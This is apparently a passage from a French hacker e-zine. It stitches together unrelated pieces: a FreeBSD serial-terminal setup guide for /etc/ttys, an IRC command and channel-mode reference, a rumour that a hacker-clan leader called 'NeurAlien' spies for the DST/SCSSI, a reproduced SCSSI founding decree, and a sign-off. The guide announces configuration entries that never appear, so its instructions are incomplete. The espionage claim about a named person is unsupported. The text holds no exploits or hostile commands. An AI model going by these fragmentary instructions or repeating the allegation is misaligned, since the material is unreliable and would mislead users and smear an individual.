configuré pour émuler une VT-100. Voici les entrées adéquates, quoiqu'encore incomplètes du
fichier /etc/ttys:
Activer le port
Le champ suivant de /etc/ttys, le quatrième, indique s'il faut activer le port. Si vous y mettez on, alors
le processus init démarrera le programme mentionné par le second champ, getty, qui affichera l'invite
de session. Si vous y mettez off, il n'y aura pas de getty, et donc pas d'ouverture de session sur le port.
Vous devez donc bien sûr préciser on dans ce champ. Voici de nouveau le fichier /etc/ttys. Nous
avons activé les deux ports avec on:
Cela veut dire que le compte super-utilisateur (ou tout compte avec un IDentifiant utilisateur de 0)
peut ouvrir une session sur ce port. Les ports non-sécurisés n'autorisent pas l'ouverture de session
super-utilisateur.
Lorsqu'un port est non sécurisé, le terminal qui y est connecté n'autorise pas l'ouverture de session
super-utilisateur. Les gens qui connaissent le mot de passe super-utilisateur de votre système
FreeBSD devront d'abord se connecter sous un compte utilisateur ordinaire. Ils devront ensuite
utiliser la commande su pour avoir les droits du super-utilisateur.
Grâce à cela, vous aurez deux enregistrements pour pouvoir repérer les accès super-utilisateur
illégitimes: les deux commandes login et su rapportent leur emploi dans le fichier de trace système
(les ouvertures de sessions sont aussi enregistrées dans le fichier wtmp).
Lorsque le port est sécurisé, l'ouverture de session super-utilisateur est autorisée depuis le terminal.
Les gens qui connaissent le mot de passe super-utilisateur peuvent directement se connecter en tant
que tel. Vous n'avez plus les traces potentiellement utiles de l'ouverture de session et de l'utilisation
de su.
Utilisez ``non sécurisé''. Utilisez ``non sécurisé'' même pour les terminaux qui ne sont pas accessibles
à tout le monde ou sont dans des locaux fermés à clé. Il est facile d'ouvrir une session et d'utiliser su
quand vous avez besoin des droits du super-utilisateur.
Voici finalement les entrées complètes du fichier /etc/ttys accompagnées d'un commentaire qui
indique où se trouvent les terminaux:
Donc, après avoir sauvegardé vos modifications au fichier /etc/ttys, envoyez un SIGHUP à init en
tapant:
# kill -HUP 1
Assurez-vous que le câble est solidement raccordé sur le terminal et sur la machine FreeBSD.
Vérifiez que c'est le bon type de câble.
Contrôlez que le terminal et FreeBSD utilisent la même vitesse en bps et le même contrôle de parité.
Si c'est un terminal vidéo, vérifiez que les contrôles de luminosité et de contraste ne soient pas au
minimum. Si c'est un terminal papier, vérifiez qu'il y ait du papier et de l'encre.
Vérifiez qu'il y ait bien un processus getty qui s'exécute pour ce terminal. Tapez:
# ps -axww|grep getty
pour avoir la liste des processus getty actifs. Vous devriez voir une entrée pour le terminal. Par
exemple, la ligne suivante:
montre qu'il y a un getty qui s'exécute sur le port série ttyd1 et utilise l'entrée std.38400 de /etc/
gettytab.
S'il n'y a pas de processus getty actif, assurez-vous que vous avez activé le port dans /etc/ttys. Avez-
vous aussi bien exécuté kill -HUP 1?
Il y a n'importe quoi à la place de l'invite de session.
Vérifiez que le terminal et FreeBSD définissent la même vitesse et le même contrôle de parité.
Assurez-vous que le processus getty utilise le bon type de getty. Dans le cas contraire, corrigez /etc/
ttys et exécutez kill -HUP 1.
"Pour garder un chan il existe des bots: Bot est l'abréviation pour Robot. Un bot est donc en fait un
logiciel. Ne vous étonnez donc pas s'il ne parle jamais (sauf quand un op facétieux le fait parler).
Un bot effectue des tâches de routine permettant le bon fonctionnement du canal. Il permet à l'op de
se libérer d'obligations un rien contraignantes, et lui facilite également la vie lorsqu'il s'agit
d'effectuer des actions rapides.
Exemple: un bot réagit beaucoup plus vite qu'un humain en cas de flood...
Sachez qu'un bot utilise la bande passante pour huit utilisateurs, donc si tout le monde se met à en
balancer un, ça va encombrer un rien.
N'utilisez pas de bot s'il ne doit servir qu'à "garder" votre canal ou votre nickname contre d'éventuels
usurpateurs (à moins que votrecanal n'ait une renommée mondiale et votre nick une importance
significative). Personne ne cherchera à s'emparer d'un canal qui ne réunit que deux
personnes." (Macplus)
Tout comme sur telnet, IRC réagit avec des systèmes de commandes à entrer pour éxécuter des
fonctions spécifiques.
"Eléments de syntaxe:
channel fait référence à un canal dont le nom commence par # ou & (ie: général ou local).
Nick indique le nickname, ou surnom, tel qu'utilisé communément sur IRC. Bon gars ce Nick.
C'est parti !
/away message vous place "away", c'est-à-dire temporairement absent d'IRC (si vous ne donnez pas
de message, vous ne serez pas placé "away"). NB: même "away", vous pouvez continuer à parler
normalement... ceci est juste une indication donnée aux autres utilisateurs comme quoi vous êtes
occupés à autre chose.
/ban nick effectue un "ban" du nick désigné pour le channel sur lequel vous êtes.
/broadcast message pour envoyer un message sur tous les canaux sur lesquels vous êtes à la fois.
/cmdchar c change le préfixe de commande IRC (par défaut /) pour le caractère désigné.
/ctcp target command envoie une commande CTCP (Client to Client Protocol) à votre cible(=target).
On va dire Nick, pour faire simple. Faites /ctcp target clientinfo pour de plus amples informations.
/debug montre toutes les commandes "bas-niveau" (low level) de votre logiciel client. A vos risques
et périls, plein de trucs étranges peuvent arriver. Je vous conseille juste de tester.
/ignore pattern vous permet d'ignorer les messages de "nick!user@host" (wildcards reconnues).
/ison nick montre si Nick est sur IRC ou non. Ne fonctionne pas sur tous les serveurs.
/kick channel nick :msg pour "kicker"(=foutre dehors) Nick du canal avec un petit message
(sympathique ? :-).
/list donne une liste de tous les canaux. Attention: vu le nombre de plus en plus importants de canaux
sur IRC, vous risquez d'être déconnecté du serveur tellement cela fait de données. Pas de wildcards
pour le moment.
/massdeop enleve le statut d'opérateur à toutes les users du canal sauf vous.
/me action envoie la description d'une action au canal.Peut aussi être utilisé en DCC chat (private
action).
+p canal privé.
+s canal secret.
+i canal "invite-only". Seuls les users invités peuvent y accéder.
+m canal modéré. Seuls les utilisateurs "+v" et les opérateurs peuvent parler.
+n bloque les messages provenant d'ailleurs que le canal (pas de message du serveur, donc).
+t seul les opérateurs peuvent changer le topic.
+l # limite le nombre d'utilisateurs d'un canal à # personnes.
+v nick permet à Nick de parler sur un canal modéré.
+b liste des bans. Ne fonctionne pas sur certains serveurs.
+b nick!username@hostname pour bannir Nick du canal.
+k key établit le mot de passe du canal.
+o nick donne le statut d'opérateur à Nick.
-x enleve le mode x, pour peu que x soit un des modes décrits ci-dessus.
/mode nick parm établit les modes utilisateurs:
+i utilisateur invisible (ie: vous ne le verrez pas si vous n'êtes pas sur le même canal).
+s permet de recevoir les notices du serveur (messages concernant l'activité du serveur).
+w permet de recevoir les wallops, messages envoyés à tous les ops d'un canal.
+o donne le satut d'IRCop... seulement si vous êtes IRCop :-)).
+d mode "deaf"(=sourd). Seulement pour les bots.
/motd [server] affiche le message du jour [d'un autre serveur IRC].
/names channel affiche la liste des utilisateurs d'un canal. Note: si vous n'êtes pas sur le canal, vous
ne verrez pas les utilisateurs qui sont "+i".
/note ?
/notice user|channel msg (presque comme) /msg, avec cependant la possibilté d'envoyer un message
privé à tout le canal.
/notify nick ajoute Nick à la liste des notifications (notify). Montre chaque signon/off de Nick.
/onotice text envoie une note à tous les ops d'un canal.
/ping ping un utilisateur. Utilisez /ctcp ping pour mesurer le délai de réponse.
/quote raw irccommand envoie une commande à un serveur IRC, exactement telle que tapée.
/time = /date
/unban nickmask efface le mask de Nick (nick!username@hostname) de la liste des bans du canal.
/users (x)
/whois donne des informations sur le dernier Nick à avoir rejoint le canal ou envoyé un message
privé.
/whowas nick donne des informations sur Nick, celui-ci n'étant plus en ligne.
/connect target port oblige le serveur distant à essayer d'établir une nouvelle connection avec le
serveur cible(=target), sur le port spécifié.
/host
/kill nick comment le KILL est utilisé pour faire en sorte que la connection du client-serveur soit
fermée par le serveur qui a la connection. KILL est utilisé par les serveurs quand ils rencontrent une
double entrée dans la liste des Nicks valides et clôt les deux entrées. Commande également accessible
aux ircops.
/uping ?
Commandes DCC:
chat - réclame l'ouverture d'une connection DCC ou autorise une telle requête.
send - envoie un fichier.
tsend - envoie un fichier texte.
get - reçoit un fichier (en réponse à un SEND).
tget - reçoit un fichier texte.
list - donne une liste de toutes les connections DCC.
/xdcc:
Un clan de hacker a pour chef NeurAlien. Ce clan n'est pas connu mais on ne le citera pas. Pis un
beau jour on apprend que NeurAlien bosse à la DST... Puis au SCSSI, où il a pour rôle de surveiller
tout ce qui se passe. Etant dans un clan de hackers (programmeurs plutot), il va demander à ceux-ci
de fouiner un peu partout à la recherche de quelques informations qui ne regarde que lui. Inaperçus,
espionnage... Brref, on s'en fout mais s'était pour illustrer ce qui pouvait se passer avec ce genre
d'organisme, et dont on ne se méfie pas du tout!
Le SCSSI :
Evalue :
Procède à l'agrément des centres d'évaluation de la sécurité des technologies de l'information dans le
cadre du schéma d'évaluation et de certification.
Statue sur les exportations des technologies, des produits et des systèmes.
Assure la formation des spécialistes dont l'Etat a besoin ainsi que la sensibilisation des respnsables de
l'administration et du secteur privé dans le cadre du Centre d'Etudes Supérieures de la Sécurité des
Systèmes d'Information (C.E.S.S.S.I.).
L'action au profit du secteur privé est soumis à cetaines conditions visant à ne pas causer de tort aux
sociétés dont la raison sociale touche à la sécurité des systèmes d'information.
Le Président de la République,
Vu le décret No 86-316 du 3 mars 1986 portant création du directoire de la sécurité des systèmes
d'information;
Vu le décret No 86-317 du 3 mars 1986 portant création d'une délégation interministérielle pour la
sécurité des systèmes d'information;
Vu le décret No 81-514 du 12 mai 1981 relatif à l'organisation de la protection des secrets et des
informations concernant la défense nationale et la sûreté de l'Etat,
Décrète:
Article 1er. - Il est créé auprès du Premier ministre un service central de la sécurité des systèmes
d'information placé sous l'autorité du délégué interministériel pour la sécurité des systèmes
d'information.
Article 2. - Le service central de la sécurité des systèmes d'information est chargé d'apprécier le
niveau de protection des systèmes d'information. Il participe aux activités de recherche relatives aux
procédés de protection, coordonne, en liaison avec les maîtres d'oeuvre, les études et développements
de protection des systèmes d'information gouvernementaux et approuve leur destination.
Article 3. - Le service central de la sécurité des systèmes d'information est responsable de l'évaluation
des procédés de protection cryptologiques. Dans ce domaine:
il examine les besoins que lui soumettent les départements ministériels et propose les solutions;
il analyse les procédés crypotologiques élaborés par les concepteurs en vue de formuler un jugement
sur l'utilisation qui peut en être faite;
il se prononce sur la validité des protections cryptologiques en service.
Le service central de la sécurité des systèmes d'information se tient informé des travaux théoriques
effectués en matière de cryptologie et entretient les contacts appropriés avec les organismes de
recherche concernés par le sujet.
Article 4. - Le service central de la sécurité des systèmes d'information participe à l'évaluation des
procédés de protection non cryptologiques. Il examine les besoins relatifs à ces procédés qui lui sont
soumis par les départements ministériels et les traite avec le concours des services ou centres
techniques gouvernementaux compétents. Il centralise et diffuse les résultats et se prononce sur les
niveaux de protection assurés.
Article 5. - Le service central de la sécurité des systèmes d'information suit les travaux relatifs aux
normes, aux spécifications des équipements et à la réglementation en liaison avec les responsables de
ces travaux et avec les utilisateurs.
Article 6. - Pour l'exercice des missions ci-dessus définies, le service central de la sécurité des
systèmes d'information: - fait appel aux compétences et aux moyens des organismes
gouvernementaux concernés dans le cadre de protocoles rédigés à cet effet; - entretient les relations
adéquates avec les industriels agréés par le Gouvernement; il est, à ce titre, associé à la rédaction des
protocoles d'accord passés entre le département de la défense et ces industriels.
Article 7. - Le service central de la sécurité des systèmes d'information est chargé en outre:
de suivre l'instruction des dossiers relatifs à la sécurité des systèmes d'information destinés à des
utilisateurs non gouvernementaux ;
d'instruire, en liaison avec les instances concernées ou à leur profit, les dossiers relatifs à la sécurité
des systèmes d'information destinés à des utilisateurs étrangers ;
d'entretenir les relations techniques souhaitables avec les services homologues étrangers ;
d'organiser, au profit des États ayant passé avec la France des accords en matière de sécurité des
systèmes d'information, l'assistance technique et la formation des personnels prévues dans ces
accords ;
d'apporter son concours aux organismes gouvernementaux qui font appel à lui soit pour la fabrication
de clés de chiffrement, soit pour la formation de personnels spécialistes.
Article 8. - Le service central de la sécurité des systèmes d'information assure la direction et le
fonctionnement du centre d'études supérieures de la sécurité des systèmes d'information.
Article 10. - Le service central de la sécurité des systèmes d'information est rattaché du point de vue
administratif et budgétaire au secrétariat général du Gouvernement (services généraux du Premier
ministre).
Article 11. - Le Premier ministre, le ministre de l'économie, des finances et du budget, le ministre des
relations extérieures, le ministre de la défense, le ministre de l'intérieur et de la décentralisation, le
ministre du redéploiement industriel et du commerce extérieur, le ministre des P.T.T. et le ministre de
la recherche et de la technologie sont chargés, chacun en ce qui le concerne, de l'exécution du présent
décret, qui sera publié au Journal officiel de la République française.
NB: il est clairement marqué ici enquête, alors que ça n'est pas explicité comme il le faudrait par le
SCSSI. J'en reviens à mon exemple du début.
Conslusion: méfiez vous des contrefaç... euh qu'est-ce que je raconte moi: du SCSSI pardon.
Le mot de la fin: La vache c'que ça été dur et éprouvant de le faire c'te zine. Pis comme j'ai pas fini
d'en écrire....
j'espère que vous en avez apprécié la lecture. Vous pouvez m'écrire à [email protected], ou
sur ICQ: 22350168. Pis j'voulais dire aussi: ne baissez jamais les bras, que ce soit sur le net ou dans
la vie.
Greetz To: Bond, Thorgal, Janus, Tobozo, H, J117, Leonard, et tout les opprimés, ceux qui n'ont pas
comme vous les moyens d'avoir internet ni de se nourrir: pensez-y.